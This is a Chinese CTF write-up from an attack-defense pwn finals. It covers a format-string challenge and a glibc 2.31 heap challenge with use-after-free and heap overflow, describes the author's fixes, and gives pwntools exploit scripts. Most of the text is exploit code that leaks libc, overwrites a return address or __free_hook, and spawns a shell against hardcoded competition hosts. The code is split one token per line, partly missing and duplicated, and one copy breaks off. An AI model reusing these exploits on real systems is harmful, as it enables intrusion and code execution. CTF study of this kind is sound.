本次决赛AWDP 共 4道 pwn题, 整体除了 PHP看不懂,其他的都能 fix 和 break ,比赛时间还是挺久的,但是做着做着就时间就所剩无几了,最后CHR 也没能break(自己太垃圾了)
awdp 第13名,最终总排名 32 名 无缘一等奖,和前面的队伍就差几分,如果再开个渗透题也就一了,奈何我太菜了呜呜呜爆0了,靠队友带飞
fix 比较简单,非stack 上格式化字符串漏洞
把 call _printf
改从 call _puts
既可
漏洞利用并不难,此题我在libc 的替换上话花了太多时间
先来说一下比赛中遇到的一下坑点
一般做格式化字符串漏洞的题目时,我一般会把给的附件 patch成题目指定的glibc 版本
附件给的时 pwn libc.so.6 libcrypto.so.1.1
glibc 2.31, 我本地没有 ubutnu 20,只能通过替换成 glibcallinone
我是傻逼
漏洞点再 rm() 函数里
free 堆块后,并没有清空指向堆块的指针,导致UAF漏洞。
被自己蠢哭,前期堆块分配的风水不是很好,导致后面改完tcachebins 后 ,没有机会继续申请了。只能重新写了一份exp, 又浪费了宝贵时间,导致最后几轮才成功Break(不然早就 Break了),我怎么这么垃圾。。
已知UAF漏洞.
经过分析还存在 堆溢出漏洞, edit 时 可以重新定义写入大小导致堆溢出漏洞
glibc2.31
add 时 size 的大小再 0x10-0x400,free后不会进入unsortedbin。
而且有堆块数量限制,不能通过填满 tcachebins 让堆块进入unsortedbin。
利用堆溢出修改 堆块的 size, free 后进入 unsortedbin,从而泄露 libc 地址
后面就控制tcachebins,任意地址申请到 __free_hook
既可
限制大小
比赛好几个小时,理论上三题fix和break都可以做出来的,比赛的时候时间还是比较紧的,失误一点都会浪费好多时间,后面就剩两三轮了,也就不想做了呜呜呜
Break 后 也就指定漏洞点了,Fix 肯定也就比较容易了
恰好我本地也是 ubuntu 24 glibc 2.39,我就单纯打个本地吧
整体下来,题目还是比较简单的。出了 那个 PHP的我看不懂..
#!/bin/sh
mv
pwn_fix
/home/ctf/pwn
chmod
777
/home/ctf/pwn
#!/bin/sh
mv
pwn_fix
/home/ctf/pwn
chmod
777
/home/ctf/pwn
tar zcvf update.tar.gz update.sh pwn_fix
tar zcvf update.tar.gz update.sh pwn_fix
from
pwn
import
*
import
sys
from
Crypto.Cipher
import
AES
s
=
lambda
data :io.send(data)
sa
=
lambda
delim,data :io.sendafter(
str
(delim), data)
sl
=
lambda
data :io.sendline(data)
sla
=
lambda
delim,data :io.sendlineafter(
str
(delim), data)
r
=
lambda
num :io.recv(num)
ru
=
lambda
delims, drop
=
True
:io.recvuntil(delims, drop)
rl
=
lambda
:io.recvline()
itr
=
lambda
:io.interactive()
uu32
=
lambda
data :u32(data.ljust(
4
,b
'\x00'
))
uu64
=
lambda
data :u64(data.ljust(
8
,b
'\x00'
))
ls
=
lambda
data :log.success(data)
lss
=
lambda
s :log.success(
'\033[1;31;40m%s --> 0x%x \033[0m'
%
(s,
eval
(s)))
context.arch
=
'amd64'
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
,
'-l'
,
'130'
]
def
start(binary,argv
=
[],
*
a,
*
*
kw):
if
args.GDB:
return
gdb.debug([binary]
+
argv, gdbscript
=
gdbscript,
*
a,
*
*
kw)
elif
args.RE:
return
remote(
'123.57.149.79'
,
37175
)
elif
args.AWD:
IP
=
str
(sys.argv[
1
])
PORT
=
int
(sys.argv[
2
])
return
remote(IP,PORT)
else
:
return
process([binary]
+
argv,
*
a,
*
*
kw)
binary
=
'./pwn'
libelf
=
''
if
(binary!
=
''): elf
=
ELF(binary) ; rop
=
ROP(binary);libc
=
elf.libc
if
(libelf!
=
''): libc
=
ELF(libelf)
gdbscript
=
.
format
(
*
*
locals
())
def
_pad(bStr:bytes):
blen
=
len
(bStr)
add
=
16
-
(blen
%
16
)
buffer
=
bStr
+
add
*
chr
(
0
).encode()
return
buffer
key
=
bytes.fromhex(
'7BF35CD69C475D5E6F1D7A23187BF934'
)
def
sendpay(pay):
ru(
'anime: '
)
pay
=
_pad(pay)
aes
=
AES.new(key,AES.MODE_ECB)
cr_text
=
aes.encrypt(pay)
s(cr_text)
ru(
'your like '
)
io
=
start(binary)
ru(
'name\n'
)
pay
=
'/bin/sh;'
s(pay)
ru(
'/bin/sh;'
)
elf_base
=
uu64(r(
6
))
-
0x11e0
lss(
'elf_base'
)
pay
=
f
"%{6+6}$p"
pay
=
pay.encode()
sendpay(pay)
stack
=
int
(ru(
'!'
),
16
)
lss(
'stack'
)
count
=
stack
-
284
lss(
'count'
)
pay
=
f
"%{count & 0xFFFF}c%{6+0xb}$hn"
pay
=
pay.encode()
sendpay(pay)
pay
=
f
"%19c%{6+0x27}$hn"
pay
=
pay.encode()
sendpay(pay)
pay
=
f
"%{6+9}$p"
pay
=
pay.encode()
sendpay(pay)
libc_base
=
int
(ru(
'!'
),
16
)
-
libc.sym[
'__libc_start_main'
]
-
243
lss(
'libc_base'
)
libc.address
=
libc_base
rdi
=
next
(libc.search(asm(
'pop rdi;ret'
)))
binsh
=
0x1234
system
=
libc.sym[
'system'
]
ogg
=
0xe3b01
rop
=
p64(libc_base
+
ogg)
stack_ret
=
stack
-
232
for
i
in
range
(
len
(rop)):
pay
=
f
"%{(stack_ret + i) & 0xFFFF}c%{6+0xb}$hn\x00"
pay
=
pay.encode()
sendpay(pay)
pd
=
rop[i]
if
(pd
=
=
0
):
pay
=
f
"%{6+0x27}$hhn\x00"
else
:
pay
=
f
"%{pd}c%{6+0x27}$hhn\x00"
pay
=
pay.encode()
sendpay(pay)
pay
=
f
"A\x00"
pay
=
pay.encode()
sendpay(pay)
itr()
from
pwn
import
*
import
sys
from
Crypto.Cipher
import
AES
s
=
lambda
data :io.send(data)
sa
=
lambda
delim,data :io.sendafter(
str
(delim), data)
sl
=
lambda
data :io.sendline(data)
sla
=
lambda
delim,data :io.sendlineafter(
str
(delim), data)
r
=
lambda
num :io.recv(num)
ru
=
lambda
delims, drop
=
True
:io.recvuntil(delims, drop)
rl
=
lambda
:io.recvline()
itr
=
lambda
:io.interactive()
uu32
=
lambda
data :u32(data.ljust(
4
,b
'\x00'
))
uu64
=
lambda
data :u64(data.ljust(
8
,b
'\x00'
))
ls
=
lambda
data :log.success(data)
lss
=
lambda
s :log.success(
'\033[1;31;40m%s --> 0x%x \033[0m'
%
(s,
eval
(s)))
context.arch
=
'amd64'
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
,
'-l'
,
'130'
]
def
start(binary,argv
=
[],
*
a,
*
*
kw):
if
args.GDB:
return
gdb.debug([binary]
+
argv, gdbscript
=
gdbscript,
*
a,
*
*
kw)
elif
args.RE:
return
remote(
'123.57.149.79'
,
37175
)
elif
args.AWD:
IP
=
str
(sys.argv[
1
])
PORT
=
int
(sys.argv[
2
])
return
remote(IP,PORT)
else
:
return
process([binary]
+
argv,
*
a,
*
*
kw)
binary
=
'./pwn'
libelf
=
''
if
(binary!
=
''): elf
=
ELF(binary) ; rop
=
ROP(binary);libc
=
elf.libc
if
(libelf!
=
''): libc
=
ELF(libelf)
gdbscript
=
.
format
(
*
*
locals
())
def
_pad(bStr:bytes):
blen
=
len
(bStr)
add
=
16
-
(blen
%
16
)
buffer
=
bStr
+
add
*
chr
(
0
).encode()
return
buffer
key
=
bytes.fromhex(
'7BF35CD69C475D5E6F1D7A23187BF934'
)
def
sendpay(pay):
ru(
'anime: '
)
pay
=
_pad(pay)
aes
=
AES.new(key,AES.MODE_ECB)
cr_text
=
aes.encrypt(pay)
s(cr_text)
ru(
'your like '
)
io
=
start(binary)
ru(
'name\n'
)
pay
=
'/bin/sh;'
s(pay)
ru(
'/bin/sh;'
)
elf_base
=
uu64(r(
6
))
-
0x11e0
lss(
'elf_base'
)
pay
=
f
"%{6+6}$p"
pay
=
pay.encode()
sendpay(pay)
stack
=
int
(ru(
'!'
),
16
)
lss(
'stack'
)
count
=
stack
-
284
lss(
'count'
)
pay
=
f
"%{count & 0xFFFF}c%{6+0xb}$hn"
pay
=
pay.encode()
sendpay(pay)
pay
=
f
"%19c%{6+0x27}$hn"
pay
=
pay.encode()
sendpay(pay)
pay
=
f
"%{6+9}$p"
pay
=
pay.encode()
sendpay(pay)
libc_base
=
int
(ru(
'!'
),
16
)
-
libc.sym[
'__libc_start_main'
]
-
243
lss(
'libc_base'
)
libc.address
=
libc_base
rdi
=
next
(libc.search(asm(
'pop rdi;ret'
)))
binsh
=
0x1234
system
=
libc.sym[
'system'
]
ogg
=
0xe3b01
rop
=
p64(libc_base
+
ogg)
stack_ret
=
stack
-
232
for
i
in
range
(
len
(rop)):
pay
=
f
"%{(stack_ret + i) & 0xFFFF}c%{6+0xb}$hn\x00"
pay
=
pay.encode()
sendpay(pay)
pd
=
rop[i]
if
(pd
=
=
0
):
pay
=
f
"%{6+0x27}$hhn\x00"
else
:
pay
=
f
"%{pd}c%{6+0x27}$hhn\x00"
pay
=
pay.encode()
sendpay(pay)
pay
=
f
"A\x00"
pay
=
pay.encode()
sendpay(pay)
itr()
mov rax, qword ptr [rbp_var_4] ; 取idx
shl eax, 3 ; idx 乘以 8
lea rdx, qword ptr [0xA080] ; 取 heap_list 的地址
add rdx, rax ; 计算索引的地址
push rdx ; 将堆指针 压到stack 上
mov rdi,[rdx] ; 取heap地址
call _free ;
free
heap ;ret 后 rdi 寄存器是空的
pop rdx ; 取出指向heap的指针
mov [rdx], rdi ; 清空指针的内容
mov rax, qword ptr [rbp_var_4] ; 取idx
shl eax, 3 ; idx 乘以 8
lea rdx, qword ptr [0xA080] ; 取 heap_list 的地址
add rdx, rax ; 计算索引的地址
push rdx ; 将堆指针 压到stack 上
mov rdi,[rdx] ; 取heap地址
call _free ;
free
heap ;ret 后 rdi 寄存器是空的
pop rdx ; 取出指向heap的指针
mov [rdx], rdi ; 清空指针的内容
from
pwn
import
*
s
=
lambda
data :io.send(data)
sa
=
lambda
delim,data :io.sendafter(
str
(delim), data)
sl
=
lambda
data :io.sendline(data)
sla
=
lambda
delim,data :io.sendlineafter(
str
(delim), data)
r
=
lambda
num :io.recv(num)
rl
=
lambda
:io.recvline()
ru
=
lambda
delims, drop
=
True
:io.recvuntil(delims, drop)
itr
=
lambda
:io.interactive()
uu32
=
lambda
data :u32(data.ljust(
4
,b
'\x00'
))
uu64
=
lambda
data :u64(data.ljust(
8
,b
'\x00'
))
ls
=
lambda
data :log.success(data)
lss
=
lambda
s :log.success(
'\033[1;31;40m%s --> 0x%x \033[0m'
%
(s,
eval
(s)))
context.arch
=
'amd64'
context.log_level
=
'debug'
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
,
'-l'
,
'130'
]
def
start(binary,argv
=
[],
*
a,
*
*
kw):
if
args.GDB:
return
gdb.debug([binary]
+
argv, gdbscript
=
gdbscript,
*
a,
*
*
kw)
elif
args.RE:
return
remote(
'39.106.48.123'
,
30155
)
else
:
return
process([binary]
+
argv,
*
a,
*
*
kw)
binary
=
'./pwn'
libelf
=
''
if
(binary!
=
''): elf
=
ELF(binary) ; rop
=
ROP(binary);libc
=
elf.libc
if
(libelf!
=
''): libc
=
ELF(libelf)
gdbscript
=
.
format
(
*
*
locals
())
io
=
start(binary)
def
add(idx
=
0
,l
=
0
,meg
=
'A'
):
ru(
'Please input:'
)
json
=
'{'
+
f
+
'}'
json
=
json.replace(
'\n'
,'
').replace('
','
')
sl(json)
def
rm(idx
=
0
,l
=
0
,meg
=
'A'
):
ru(
'Please input:'
)
json
=
'{'
+
f
+
'}'
json
=
json.replace(
'\n'
,'
').replace('
','
')
sl(json)
def
show(idx
=
0
,l
=
0
,meg
=
'A'
):
ru(
'Please input:'
)
json
=
'{'
+
f
+
'}'
json
=
json.replace(
'\n'
,'
').replace('
','
')
sl(json)
def
edit(idx
=
0
,l
=
0
,meg
=
'A'
):
ru(
'Please input:'
)
json
=
'{'
+
f
+
'}'
json
=
json.replace(
'\n'
,'
').replace('
','
')
sl(json)
add(
0
,
0x78
,
"I"
*
0x28
)
add(
1
,
0x3f8
,
"A"
*
0x28
)
add(
2
,
0x78
,
"I"
*
0x28
)
add(
3
,
0x78
,
"I"
*
0x28
)
edit(
0
,
736
+
0xa
,b
'Y'
*
(
736
+
8
)
+
p16(
0x401
+
0x50
*
5
+
0x20
*
5
))
rm(
1
)
add(
4
,
16
,'')
edit(
4
,
1
,b
"C"
)
show(
4
)
ru(
'message:'
)
libc_base
=
uu64(r(
6
))
-
2018115
lss(
'libc_base'
)
rm(
2
)
rm(
3
)
ru(
'Please input:'
)
json
=
b
'{"choice":"modify","index":3, "length": 9, "message":"'
+
p64(libc_base
+
libc.sym[
'__free_hook'
])[:
6
]
+
b
'"}'
json
=
json.replace(b
' '
,b'')
print
(json)
sl(json)
add(
5
,
0x78
,
'/bin/sh;'
)
ru(
'Please input:'
)
json
=
b
'{"choice":"new","index":6, "length": 120, "message":"'
+
p64(libc_base
+
libc.sym[
'system'
])[:
6
]
+
b
'"}'
json
=
json.replace(b
' '
,b'')
print
(json)
sl(json)
rm(
5
)
io.interactive()
from
pwn
import
*
s
=
lambda
data :io.send(data)
sa
=
lambda
delim,data :io.sendafter(
str
(delim), data)
sl
=
lambda
data :io.sendline(data)
sla
=
lambda
delim,data :io.sendlineafter(
str
(delim), data)
r
=
lambda
num :io.recv(num)
rl
=
lambda
:io.recvline()
ru
=
lambda
delims, drop
=
True
:io.recvuntil(delims, drop)
itr
=
lambda
:io.interactive()
uu32
=
lambda
data :u32(data.ljust(
4
,b
'\x00'
))
uu64
=
lambda
data :u64(data.ljust(
8
,b
'\x00'
))
ls
=
lambda
data :log.success(data)
lss
=
lambda
s :log.success(
'\033[1;31;40m%s --> 0x%x \033[0m'
%
(s,
eval
(s)))
context.arch
=
'amd64'
context.log_level
=
'debug'
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
,
'-l'
,
'130'
]
def
start(binary,argv
=
[],
*
a,
*
*
kw):
if
args.GDB:
return
gdb.debug([binary]
+
argv, gdbscript
=
gdbscript,
*
a,
*
*
kw)
elif
args.RE:
return
remote(
'39.106.48.123'
,
30155
)
else
:
return
process([binary]
+
argv,
*
a,
*
*
kw)
binary
=
'./pwn'
libelf
=
''
if
(binary!
=
''): elf
=
ELF(binary) ; rop
=
ROP(binary);libc
=
elf.libc
if
(libelf!
=
''): libc
=
ELF(libelf)
gdbscript
=
.
format
(
*
*
locals
())
io
=
start(binary)
def
add(idx
=
0
,l
=
0
,meg
=
'A'
):
ru(
'Please input:'
)
json
=
'{'
+
f
+
'}'
json
=
json.replace(
'\n'
,'
').replace('
','
')
sl(json)
def
rm(idx
=
0
,l
=
0
,meg
=
'A'
):
ru(
'Please input:'
)
json
=
'{'
+
f
+
'}'
json
=
json.replace(
'\n'
,'
').replace('
','
')
sl(json)
def
show(idx
=
0
,l
=
0
,meg
=
'A'
):
ru(
'Please input:'
)
json
=
'{'
+
f
+
'}'
json
=
json.replace(
'\n'
,'
').replace('
','
')
sl(json)
def
edit(idx
=
0
,l
=
0
,meg
=
'A'
):
ru(
'Please input:'
)
json
=
'{'
+
f
+
'}'
json
=
json.replace(
'\n'
,'
').replace('
','
')
sl(json)
add(
0
,
0x78
,
"I"
*
0x28
)
add(
1
,
0x3f8
,
"A"
*
0x28
)
add(
2
,
0x78
,
"I"
*
0x28
)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课